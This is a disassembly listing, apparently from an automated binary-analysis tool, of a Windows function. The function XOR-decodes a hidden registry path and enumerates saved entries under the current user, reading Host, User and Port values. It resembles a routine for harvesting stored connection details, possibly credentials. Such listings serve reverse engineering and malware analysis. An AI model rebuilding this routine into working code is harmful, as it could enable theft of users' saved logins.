Function at 0x140015474
Capabilities:
Encode data using xor
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x7b0]
sub rsp, 0x8b0
mov rsi, rcx
lea rcx, [rbp + 0x7e8]
call fcn.1400151c8
mov rdx, rax
mov r9d, 9
lea rax, [rsp + 0x58]
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor r14d, r14d
test eax, eax
je 0x1400154cc
lea eax, [r14 + 1]
jmp 0x140015778
mov edi, r14d
xor edx, edx
jmp 0x140015737
test eax, eax
jne 0x140015733
movdqa xmm0, xmmword [0x14001c8c0]
lea ecx, [rax + 0x20]
movdqa xmm1, xmmword [str.NQ_wTFBNAfwaN]
movdqu xmmword [rbp - 0x80], xmm0
movdqu xmmword [rbp - 0x70], xmm1
call fcn.140002534
lea r8, [rbp - 0x80]
mov rdx, rax
sub r8, rax
mov r9d, 0x20
mov cl, byte [r8 + rdx]
xor cl, 0x12
mov byte [rdx], cl
inc rdx
sub r9, 1
jne 0x140015510
mov rdx, rax
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rax, [rsp + 0x40]
mov r9d, 9
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0xa0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140015733
mov rcx, qword [rsp + 0x40]
lea rax, [rbp + 0x7e8]
mov qword [rsp + 0x28], rax
lea rdx, str.Host
lea rax, [rbp + 0x1b0]
mov dword [rbp + 0x7e8], 0x400
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x1400155e9
mov ecx, dword [rbp + 0x7e8]
inc ecx
add rcx, rcx
call fcn.140002460
mov r8d, dword [rbp + 0x7e8]
lea rdx, [rbp + 0x1b0]
mov rcx, rax
mov rbx, rax
call fcn.1400024b0
mov ecx, dword [rbp + 0x7e8]
mov word [rbx + rcx*2], r14w
mov qword [rsp + 0x60], rbx
mov rcx, qword [rsp + 0x40]
lea rax, [rbp + 0x7e8]
mov qword [rsp + 0x28], rax
lea rdx, str.User
lea rax, [rbp + 0x1b0]
mov dword [rbp + 0x7e8], 0x400
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140015660
mov ecx, dword [rbp + 0x7e8]
inc ecx
add rcx, rcx
call fcn.140002460
mov r8d, dword [rbp + 0x7e8]
lea rdx, [rbp + 0x1b0]
mov rcx, rax
mov rbx, rax
call fcn.1400024b0
mov ecx, dword [rbp + 0x7e8]
mov word [rbx + rcx*2], r14w
mov qword [rsp + 0x68], rbx
mov rcx, qword [rsp + 0x40]
lea rax, [rbp + 0x7f8]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x48]
lea rax, [rsp + 0x4c]
mov dword [rbp + 0x7f8], 4
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.Port
mov dword [rsp + 0x48], 4
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [rsp + 0x78]
lea rdx, [0x14001c86c]
test eax, eax
mov dword [rsp + 0x50], 0x200
lea rax, [rsp + 0x50]
cmove ecx, dword [rsp + 0x4c]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov dword [rsp + 0x78], ecx
lea rax, [rbp + 0x5b0]
mov rcx, qword [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140015720
mov ecx, dword [rbp + 0x7e8]
inc ecx
call fcn.140002460
mov r8d, dword [rbp + 0x7e8]
lea rdx, [rbp + 0x1b0]
mov rcx, rax
mov rbx, rax
call fcn.1400024b0
mov ecx, dword [rbp + 0x7e8]
mov byte [rcx + rbx], r14b
mov qword [rsp + 0x70], rbx
mov r8d, 0x1c
lea rdx, [rsp + 0x60]
mov rcx, rsi
call fcn.140017798
inc edi
mov edx, edi
mov rcx, qword [rsp + 0x58]
lea r9, [rbp + 0x7f0]
mov qword [rsp + 0x38], r14
lea r8, [rbp - 0x60]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
mov dword [rbp + 0x7f0], 0xff
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp eax, 0x103
jne 0x1400154d6
xor eax, eax
add rsp, 0x8b0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret